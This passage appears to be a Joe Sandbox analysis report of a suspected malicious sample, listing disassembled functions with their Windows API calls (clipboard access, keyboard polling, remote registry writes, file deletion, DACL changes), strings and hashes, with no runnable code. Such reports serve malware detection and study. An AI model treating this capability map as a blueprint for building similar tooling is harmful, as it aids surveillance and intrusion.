Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: dcc2ee7e6cd2b47ed2f028cd8445ef357699f42484c956924277c04ff8492d19
Instruction ID: 4972292308aba180a49ba19a9b009294a152f2e1a23973798c786722b7ae0f5d
Opcode Fuzzy Hash: dcc2ee7e6cd2b47ed2f028cd8445ef357699f42484c956924277c04ff8492d19
Instruction Fuzzy Hash: 50816D71D00209BFDF21DFA4CC45AEE7B7AEF04394F08411AF910A6250DB798E16EB60

Function 00FF425A Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(0100F910), ref: 00FF4284
IsClipboardFormatAvailable.USER32(0000000D), ref: 00FF4292
GetClipboardData.USER32(0000000D), ref: 00FF429A
CloseClipboard.USER32 ref: 00FF42A6
GlobalLock.KERNEL32(00000000), ref: 00FF42C2
CloseClipboard.USER32 ref: 00FF42CC
GlobalUnlock.KERNEL32(00000000), ref: 00FF42E1
IsClipboardFormatAvailable.USER32(00000001), ref: 00FF42EE
GetClipboardData.USER32(00000001), ref: 00FF42F6
GlobalLock.KERNEL32(00000000), ref: 00FF4303
GlobalUnlock.KERNEL32(00000000), ref: 00FF4337
CloseClipboard.USER32 ref: 00FF4447

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 1c5547ee9ac797847947d9e9479a1514087ee11f3d312254d88cf0ee1e1a2a14
Instruction ID: f2bd9ae27c4ef04af85928fa65ca6f3db0c4320e23ed80fe887d3553428d7fac
Opcode Fuzzy Hash: 1c5547ee9ac797847947d9e9479a1514087ee11f3d312254d88cf0ee1e1a2a14
Instruction Fuzzy Hash: D551D535204306ABD321FF60DC85F7F77A8AF84B10F100529FA95D21A5DF79E905AB62

Function 00FEC9C7 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00FEC9F8
FindClose.KERNEL32(00000000), ref: 00FECA4C
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00FECA71
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00FECA88
FileTimeToSystemTime.KERNEL32(?,?), ref: 00FECAAF
__swprintf.LIBCMT ref: 00FECAFB
__swprintf.LIBCMT ref: 00FECB3E

Part of subcall function 00F87F41: _memmove.LIBCMT ref: 00F87F82

__swprintf.LIBCMT ref: 00FECB92

Part of subcall function 00FA38D8: __woutput_l.LIBCMT ref: 00FA3931

__swprintf.LIBCMT ref: 00FECBE0

Part of subcall function 00FA38D8: __flsbuf.LIBCMT ref: 00FA3953
Part of subcall function 00FA38D8: __flsbuf.LIBCMT ref: 00FA396B

__swprintf.LIBCMT ref: 00FECC2F
__swprintf.LIBCMT ref: 00FECC7E
__swprintf.LIBCMT ref: 00FECCCD

Strings

%4d, xrefs: 00FECB38
%4d%02d%02d%02d%02d%02d, xrefs: 00FECAF5
%02d, xrefs: 00FECB86, 00FECB90, 00FECBDE, 00FECC2D, 00FECC7C, 00FECCCB

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: bcf208531519872e1e9a96283aeba97945bb2d0aae910b048d4cf818e3745c11
Instruction ID: bbafa46f359fb16e1af35012fda50ea6e13578ad163ecafc10237ef93039bd23
Opcode Fuzzy Hash: bcf208531519872e1e9a96283aeba97945bb2d0aae910b048d4cf818e3745c11
Instruction Fuzzy Hash: FBA14DB2508305ABC714FB65CC85DAFB7ECAF94B00F440919B586C3191EB78DA09DB62

Function 00FEF200 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00FEF221
_wcscmp.LIBCMT ref: 00FEF236
_wcscmp.LIBCMT ref: 00FEF24D
GetFileAttributesW.KERNEL32(?), ref: 00FEF25F
SetFileAttributesW.KERNEL32(?,?), ref: 00FEF279
FindNextFileW.KERNEL32(00000000,?), ref: 00FEF291
FindClose.KERNEL32(00000000), ref: 00FEF29C
FindFirstFileW.KERNEL32(*.*,?), ref: 00FEF2B8
_wcscmp.LIBCMT ref: 00FEF2DF
_wcscmp.LIBCMT ref: 00FEF2F6
SetCurrentDirectoryW.KERNEL32(?), ref: 00FEF308
SetCurrentDirectoryW.KERNEL32(0103A5A0), ref: 00FEF326
FindNextFileW.KERNEL32(00000000,00000010), ref: 00FEF330
FindClose.KERNEL32(00000000), ref: 00FEF33D
FindClose.KERNEL32(00000000), ref: 00FEF34F

Strings

*.*, xrefs: 00FEF2B3

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: df00e19d0d0891c0e9c35a7da8d02fcd812b50d5eb66960c189fc20492fb5b5d
Instruction ID: 9d3e71ab9d022139599e1b1565dadd7e54d40e8f8acb4b1cd6027bc787bb33fb
Opcode Fuzzy Hash: df00e19d0d0891c0e9c35a7da8d02fcd812b50d5eb66960c189fc20492fb5b5d
Instruction Fuzzy Hash: FF31F576A0024A6FDB21DBB1DC48ADE77ACAF49370F104165F954D3090EB35DA49EB50

Function 01000AE2 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 01000BDE
RegCreateKeyExW.ADVAPI32(?,?,00000000,0100F910,00000000,?,00000000,?,?), ref: 01000C4C
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 01000C94
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 01000D1D
RegCloseKey.ADVAPI32(?), ref: 0100103D
RegCloseKey.ADVAPI32(00000000), ref: 0100104A

Strings

REG_SZ, xrefs: 01000D5B
REG_QWORD, xrefs: 01000F8B
REG_EXPAND_SZ, xrefs: 01000CBA
REG_DWORD, xrefs: 01000F0E
REG_BINARY, xrefs: 01000FD8
REG_MULTI_SZ, xrefs: 01000E05

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: f04456afc01f604d1734fee952067914390dfc4786e99a1a686ded09f784025e
Instruction ID: 8b218ff5e106eeee694bb9b04f1971eff700a2df9e8034e209f716c8048e9cd5
Opcode Fuzzy Hash: f04456afc01f604d1734fee952067914390dfc4786e99a1a686ded09f784025e
Instruction Fuzzy Hash: C7029E752046019FDB15EF18C885E6AB7E5FF89714F04885DF88A9B3A2CB78ED01DB81

Function 00FEF35D Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00FEF37E
_wcscmp.LIBCMT ref: 00FEF393
_wcscmp.LIBCMT ref: 00FEF3AA

Part of subcall function 00FE45C1: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00FE45DC

FindNextFileW.KERNEL32(00000000,?), ref: 00FEF3D9
FindClose.KERNEL32(00000000), ref: 00FEF3E4
FindFirstFileW.KERNEL32(*.*,?), ref: 00FEF400
_wcscmp.LIBCMT ref: 00FEF427
_wcscmp.LIBCMT ref: 00FEF43E
SetCurrentDirectoryW.KERNEL32(?), ref: 00FEF450
SetCurrentDirectoryW.KERNEL32(0103A5A0), ref: 00FEF46E
FindNextFileW.KERNEL32(00000000,00000010), ref: 00FEF478
FindClose.KERNEL32(00000000), ref: 00FEF485
FindClose.KERNEL32(00000000), ref: 00FEF497

Strings

*.*, xrefs: 00FEF3FB

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: f4fb80279a39287587498d13f9bd0b4715a45eecac3195dba560805067cea4f0
Instruction ID: e404734b1f1dd87250d9dbbc17e265bbf6948c0d6038d78e56ac8940d909e9ab
Opcode Fuzzy Hash: f4fb80279a39287587498d13f9bd0b4715a45eecac3195dba560805067cea4f0
Instruction Fuzzy Hash: E531D772A0125A6FCB21EB65DC84ADE77AC9F45370F104165F880D30D0DB35DE48EA50

Function 00FD81F7 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD874A: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00FD8766
Part of subcall function 00FD874A: GetLastError.KERNEL32(?,00FD822A,?,?,?), ref: 00FD8770
Part of subcall function 00FD874A: GetProcessHeap.KERNEL32(00000008,?,?,00FD822A,?,?,?), ref: 00FD877F
Part of subcall function 00FD874A: HeapAlloc.KERNEL32(00000000,?,00FD822A,?,?,?), ref: 00FD8786
Part of subcall function 00FD874A: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00FD879D

Part of subcall function 00FD87E7: GetProcessHeap.KERNEL32(00000008,00FD8240,00000000,00000000,?,00FD8240,?), ref: 00FD87F3
Part of subcall function 00FD87E7: HeapAlloc.KERNEL32(00000000,?,00FD8240,?), ref: 00FD87FA
Part of subcall function 00FD87E7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00FD8240,?), ref: 00FD880B

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00FD825B
_memset.LIBCMT ref: 00FD8270
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00FD828F
GetLengthSid.ADVAPI32(?), ref: 00FD82A0
GetAce.ADVAPI32(?,00000000,?), ref: 00FD82DD
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00FD82F9
GetLengthSid.ADVAPI32(?), ref: 00FD8316
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00FD8325
HeapAlloc.KERNEL32(00000000), ref: 00FD832C
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00FD834D
CopySid.ADVAPI32(00000000), ref: 00FD8354
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00FD8385
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00FD83AB
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00FD83BF

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: e58f50eb3564cd2411baa3fa52840dea1d90629b21f9cb6b1c3fa12f3f4f866c
Instruction ID: 285d87ea54e6f6154f7f40780adf8797290ff18c0c9061ff38bbe1a15d88e068
Opcode Fuzzy Hash: e58f50eb3564cd2411baa3fa52840dea1d90629b21f9cb6b1c3fa12f3f4f866c
Instruction Fuzzy Hash: D7616F71D0420AAFDF11DF94DC44AEEBB7AFF04750F08811AF915A7280DB359A16EB60

Function 00F96843 Relevance: 18.4, Strings: 14, Instructions: 883COMMON

Download Yara Rule

Strings

NO_AUTO_POSSESS), xrefs: 00FD1567
ANY), xrefs: 00FD1717
NO_START_OPT), xrefs: 00FD1588
UTF16), xrefs: 00FD1508
ANYCRLF), xrefs: 00FD1734
BSR_ANYCRLF), xrefs: 00FD1757
CR), xrefs: 00FD16C0
UCP), xrefs: 00FD1546
CRLF), xrefs: 00FD16FA
LIMIT_RECURSION=, xrefs: 00FD1635
LF), xrefs: 00FD16DD
BSR_UNICODE), xrefs: 00FD1771
UTF), xrefs: 00FD1533
LIMIT_MATCH=, xrefs: 00FD15A9

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)
API String ID: 0-4052911093
Opcode ID: 1ac258704c3da1a4119ad62f3ce919be012005744caa6611f25196d0f3416a0f
Instruction ID: d649e200bc1ca8e2b2a36bc0f0b2cb27b461f5b4719aef5069acbcbe52a9cc0c
Opcode Fuzzy Hash: 1ac258704c3da1a4119ad62f3ce919be012005744caa6611f25196d0f3416a0f
Instruction Fuzzy Hash: CF726F75E002199BEF24CF59C8907AEB7B6FF48320F14816BE859EB390D7749941EB90

Function 01000665 Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 010010A5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,01000038,?,?), ref: 010010BC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 01000737

Part of subcall function 00F89997: __itow.LIBCMT ref: 00F899C2
Part of subcall function 00F89997: __swprintf.LIBCMT ref: 00F89A0C

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 010007D6
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 0100086E
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 01000AAD
RegCloseKey.ADVAPI32(00000000), ref: 01000ABA

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 5d05e1459b881334f446453952d296a26a6c3ed7e47528818f4eb9703f77c8c8
Instruction ID: c82f60c896331dc71658324847cbd847a54d36266e79df9e63ab259fc0d9f106
Opcode Fuzzy Hash: 5d05e1459b881334f446453952d296a26a6c3ed7e47528818f4eb9703f77c8c8
Instruction Fuzzy Hash: 8DE18F31604201AFDB15DF28C884E6EBBE8FF89754F08856DF48ADB2A5DB34E901CB51

Function 00FE0219 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00FE0241
GetAsyncKeyState.USER32(000000A0), ref: 00FE02C2
GetKeyState.USER32(000000A0), ref: 00FE02DD
GetAsyncKeyState.USER32(000000A1), ref: 00FE02F7
GetKeyState.USER32(000000A1), ref: 00FE030C
GetAsyncKeyState.USER32(00000011), ref: 00FE0324
GetKeyState.USER32(00000011), ref: 00FE0336
GetAsyncKeyState.USER32(00000012), ref: 00FE034E
GetKeyState.USER32(00000012), ref: 00FE0360
GetAsyncKeyState.USER32(0000005B), ref: 00FE0378
GetKeyState.USER32(0000005B), ref: 00FE038A

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 87667775e6546767a0eab20fbc7ad9247ebc14fd39bdea4ec5a033ec7ac74ca2
Instruction ID: 17084ff9d8668bf294e421f20b5fa04866b0c025a99b13a744348434164953bb
Opcode Fuzzy Hash: 87667775e6546767a0eab20fbc7ad9247ebc14fd39bdea4ec5a033ec7ac74ca2
Instruction Fuzzy Hash: 0341CA34D047CA6FFF319B6694083B5BEE06F12360F4840ADD6C6561C2EFE559C8A7A2

Function 00FF86D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00F89997: __itow.LIBCMT ref: 00F899C2
Part of subcall function 00F89997: __swprintf.LIBCMT ref: 00F89A0C

CoInitialize.OLE32 ref: 00FF8718
CoUninitialize.OLE32 ref: 00FF8723
CoCreateInstance.OLE32(?,00000000,00000017,01012BEC,?), ref: 00FF8783
IIDFromString.OLE32(?,?), ref: 00FF87F6
VariantInit.OLEAUT32(?), ref: 00FF8890
VariantClear.OLEAUT32(?), ref: 00FF88F1

Strings

Failed to create object, xrefs: 00FF878E, 00FF8844
NULL Pointer assignment, xrefs: 00FF87C8
Invalid parameter, xrefs: 00FF880F

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 1dff1a79b7ef7ea4c6333aa7de13ad0c0528f8a02a784ec74f8990791c8482d3
Instruction ID: 93ce4476c125252a8ff892188e51ab6823d24c03b8b455d1cff5542cd79ba473
Opcode Fuzzy Hash: 1dff1a79b7ef7ea4c6333aa7de13ad0c0528f8a02a784ec74f8990791c8482d3
Instruction Fuzzy Hash: DD61C272608305DFC710EF24C849B6EBBE8AF44794F14480DFA859B2A1DB74ED45EB92

Function 00FF4458 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00FF447F
EmptyClipboard.USER32 ref: 00FF4485
GlobalAlloc.KERNEL32(00000002,?), ref: 00FF449A
CloseClipboard.USER32 ref: 00FF4539

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 609d1beb287a97ff08c6eff18e57c698bbed096b76e83d9cc774cd9afb0f72c0
Instruction ID: 0399edad85c596a81486370a11a54ccfd16fc508fee75768d0f676746b37d1ef
Opcode Fuzzy Hash: 609d1beb287a97ff08c6eff18e57c698bbed096b76e83d9cc774cd9afb0f72c0
Instruction Fuzzy Hash: BA21D3357002159FDB21EF60EC49B7A77A8EF08320F148006F986DB261DB79AC01EB94

Function 00FE3A2B Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F848AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00F848A1,?,?,00F837C0,?), ref: 00F848CE

Part of subcall function 00FE4CD3: GetFileAttributesW.KERNEL32(?,00FE3947), ref: 00FE4CD4

FindFirstFileW.KERNEL32(?,?), ref: 00FE3ADF
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00FE3B87
MoveFileW.KERNEL32(?,?), ref: 00FE3B9A
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00FE3BB7
FindNextFileW.KERNEL32(00000000,00000010), ref: 00FE3BD9
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00FE3BF5

Strings

\*.*, xrefs: 00FE3A8A, 00FE3A93, 00FE3AA8

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: c0a74ef54f5ea0ff3c3428bd42716aa10b9e2f57766e69679be361c2b8da1bd3
Instruction ID: 65d35bf16b5b57c347af7b09cb933280de02854f7571e7615de412bd29fbc367
Opcode Fuzzy Hash: c0a74ef54f5ea0ff3c3428bd42716aa10b9e2f57766e69679be361c2b8da1bd3
Instruction Fuzzy Hash: AB51923180128D9BCF15FBA1CD9A9EDB7B8AF54700F6441A9E44277091DF39AF09EB60

Function 00FEF65E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00F87F41: _memmove.LIBCMT ref: 00F87F82

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00FEF6AB
Sleep.KERNEL32(0000000A), ref: 00FEF6DB
_wcscmp.LIBCMT ref: 00FEF6EF
_wcscmp.LIBCMT ref: 00FEF70A
FindNextFileW.KERNEL32(?,?), ref: 00FEF7A8
FindClose.KERNEL32(00000000), ref: 00FEF7BE

Strings

*.*, xrefs: 00FEF690

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: 14fd7e2c99ca71092168b6230f85afb394256f846dab04daa2fb6e905718f97b
Instruction ID: 5b6862241e067b5f8456b54f6cedb2a8f75ea7e1d5bd1dad02c9e523fa57f411
Opcode Fuzzy Hash: 14fd7e2c99ca71092168b6230f85afb394256f846dab04daa2fb6e905718f97b
